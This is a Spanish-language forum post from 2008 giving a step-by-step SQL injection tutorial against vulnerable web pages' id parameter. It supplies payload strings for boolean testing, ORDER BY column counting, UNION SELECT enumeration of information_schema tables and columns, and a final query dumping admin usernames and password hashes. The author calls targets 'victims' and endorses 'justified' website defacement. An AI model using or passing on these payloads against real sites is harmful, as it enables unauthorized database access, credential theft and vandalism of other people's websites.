Juegos para celular en diferentes resoluciones
Páginas: [1]   Ir Abajo
Imprimir
Autor Tema: Tutorial de SQL Injection  (Leído 291 veces)
0 Usuarios y 1 Visitante están viendo este tema.
SuB_7
Moderador a Prueba
Ya se postear
**

Gracias recibidos: 31
Desconectado Desconectado

Sexo: Masculino
Mensajes: 110


Metete con el mejor y muere como el resto


Ver Perfil

« en: Octubre 04, 2008, 08:52:35 »

solo tenemos publicados tutos de nivel basicote y que se ha puesto de moda, hago un post recoplilatorio-extendido hablando de URL SQL INJECTION.


1- Buscando victimas

Para empezar tenemos una url "posiblemente vulnerable": Registrate es GRATIS! para ver los links Rapidshare Megaupload Descarga
www.lol.com/index.php?id=1

Comprobamos si es o no vulnerable:


Código:
id=1/**/AND/**/0=1
id=1/**/AND/**/0=0
Si la variable es vulnerable tendremos que, la primer injection no mostrará el contenido del campo id 1 y la segunda mostrará la pagina normalmente. Si una de esas dos condiciones no se cumple no es vulnerable.

Para los mas curiosos lo que hacemos con esa dos injections es tratar de modificar la consulta mysql de la siguiente forma:
Consulta original: select * from table where id=1 -> devuelve el contenido de id 1
Consulta alterada: select * from table where id=1 AND 0=1 -> no devuelve nada pq no se complen ambos condicionales
Consulta alterada2: select * from table where id=1 AND 1=1 -> devuelve el id 1 pq si se cumplen ambos condicionales

Lo que haria la primera consulta seria:

seleccionar todo el contenido de table cuando el campo id sea igual a 1

Y las siguientes:

seleccionar todo el contenido de table cuando el campo id sea igual a 1 y 0 sea igual a 1
y
seleccionar todo el contenido de table cuando el campo id sea igual a 1 y 1 sea igual a 1


Bien, si no entendiero como funciona alejense... no... del monitor no, de la informatica, pq no valen para esto xDDD

2- Sacando tablas

Seguimos, ya sabemos que es vulnerable a sql injection y ahora debemos ingeniarnosla para "crear" una injection valida que nos suelte algun tipo de información útil, por ejemplo un admin/hash.

Para poder sacar los nombres de las tablas, primero necesitamos saber cuantos campos tiene la tabla sobre la que trabaja la consulta original.

Para poder realizar una consulta select sobre otra tabla debemos poder "añadirle" a la consulta original sobre la que estamos injectando, "otra" consulta distinta. Por suerte existe la sentencia UNION que nos permite realizar dos consultas del mismo timpo simultaneamente, los requisitos de UNION es que ambas consultas utilicen la misma sentencia (En nuestro caso select) y que ambas tengan el mismo numero de campos. En caso de que las sentencias sean distintas dará error y en caso de que la cantidad de campos sean distintos tambien dará error. Ejemplos:
select * from user union update table_1 set campo=pito; -> ERROR, las 2 sentencias deben ser del mismo tipo (select)
select pito,flauta from user where id=1 union select pito,flauta,papa from admin where id=2 -> ERROR, ambas consultas deben tener el mismo numero de columnas.


Entonces, como sabemos cuantos campos tiene la tabla sobre la que trabaja la consulta original?

Existe una sentencia que sirve para decirle al web server que columna debe mostrar el primer lugar, utilizando esta consulta podemos obtener un error cuando el numero de columna no exista y así saber el total de campos con los que cuenta nuestra tabla:


Código:
id=1/**/ORDER/**/BY/**/1/*
id=1/**/ORDER/**/BY/**/2/*
id=1+ORDER+BY+3--
id=1/**/ORDER/**/BY/**/4/*
#detalle: /**/ y + ambos son significan "espacio"
Suponiendo que ah realizar la cuarta injection obtenemos error, sabemos que la tabla tiene 3 columnas (si en la cuarta sacamos error... la tercera es la ultima que funciona). En caso contrario debemos seguir hasta saber el total.

Ahora sabiendo que cantidad de campos tiene nuestra bendita tabla podemos preparar una consulta que no de error y que de paso nos diga el nombre de todas las demas tablas (esto se pone jugoso).

Para esto utilizamos en primer lugar union select que como deciamos sirve para "unir" dos consultas similares, a continuacion  rellenamos todos los campos que nos "sobran" con cualquier cosa, por ejemplo numeros:


Código:
-1/**/union/**/select/**/database(),2,3/**/
-1/**/union/**/select/**/1,database(),3/**/
-1/**/union/**/select/**/1,2,database()/**/
#detalle: con database() sacamos el nombre de la db que es necesario en algunas consultas avanzadas

Con esas tres injections recibiremos el nombre de la database en 3 posiciones distintas del documento html, posiblemente en menos de 3 (hay informacion que se consulta a la db pero que no se muestra directamente via html). Lo importante es identificar en que lugar sale la información de cualquiera de los campos y quedarse con ese campo para el futuro.

Y ahora necesitamos realizar la consulta a information_schema.tables, la cual contiene información de todas las tablas de la db Tongue


Código:
id=-1/**/union/**/select/**/0,1,table_name/**/from/**/information_schema.tables/*
Con eso obtendremos en el lugar en el que antes salia el "3" el nombre de la primera tabla de information_schema, para ir sacando el resto de las tablas le agregamos un limit y lo vamos modificando de la siguiente manera:

Código:
id=-1/**/union/**/select/**/0,1,table_name/**/from/**/information_schema.tables/**/limit/**/1,1/*
id=-1/**/union/**/select/**/0,1,table_name/**/from/**/information_schema.tables/**/limit/**/2,1/*
id=-1/**/union/**/select/**/0,1,table_name/**/from/**/information_schema.tables/**/limit/**/3,1/*
...
...
...
id=-1/**/union/**/select/**/0,1,table_name/**/from/**/information_schema.tables/**/limit/**/22,1/*
Y así hasta recorrer todas las tablas. Ahora ya hemos visto todas las tablas que hay, supongamos que encontramos una llamada "admin", es muy posible que esa tablita tenga nuestro user & hash tan preciado.

3- Sacando columnas

El siguiente paso logico sería realizar una consulta sobre la tabla admin y sacarle toda la info que podamos. Para realizar la consulta sobre dicha tabla tenemos que saber que columnas tiene...
Para sacarle el nombre de las comumnas usamos column_name from information_schema.columns:

i
Código:
d=-1/**/union/**/select/**/0,1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name=char(ASCII)/*
Donde ASCCI será el nombre de la tabla en formato ASCCI separando caracter de caracter con comas (22,22,22,22...)


Código:
4- Consulta final
Ahora sabemos que tenemos la culumna admin y la columna pass, ya podemos hacer la consulta definitiva que nos dará la codiciada información:



Código:
id=-1/**/union/**/select/**/0,1,concat(admin,0x3a,pass,0x3a)/**/from/**/usuarios/*
#detalle: usamos concat para unir dos columnas en una sola, tambien podriamos hacerlo de la siguiente forma:
id=-1/**/union/**/select/**/0,admin,pass/**/from/**/usuarios/*

Lo cual nos mostrará algo similar ah:

administer:123asd1234asd123asd123asd

Donde administer es el user y 123asd...asd es el hash en algun tipo de cifrado o... con mucha suerte en texto claro Smiley

5- Finalizando

IMPORTANTE: No se crean que poder defacear una web les da derecho a hacerlo, no defaceen sin sentido... El deface justificado es el unico que cuenta, todo lo demás los hace quedar como lammers.

Espero que les haya servido, me llevo un buen rato escribir todo esto, para más información google.com
En línea

Registrate es GRATIS! para ver los links Rapidshare Megaupload Descarga
Páginas: [1]   Ir Arriba
Imprimir
Ir a:  

¿Como postear en Polaxia? - ¿Quieres subir una imagen al foro? - Subir archivos - F.A.Q - Registrarse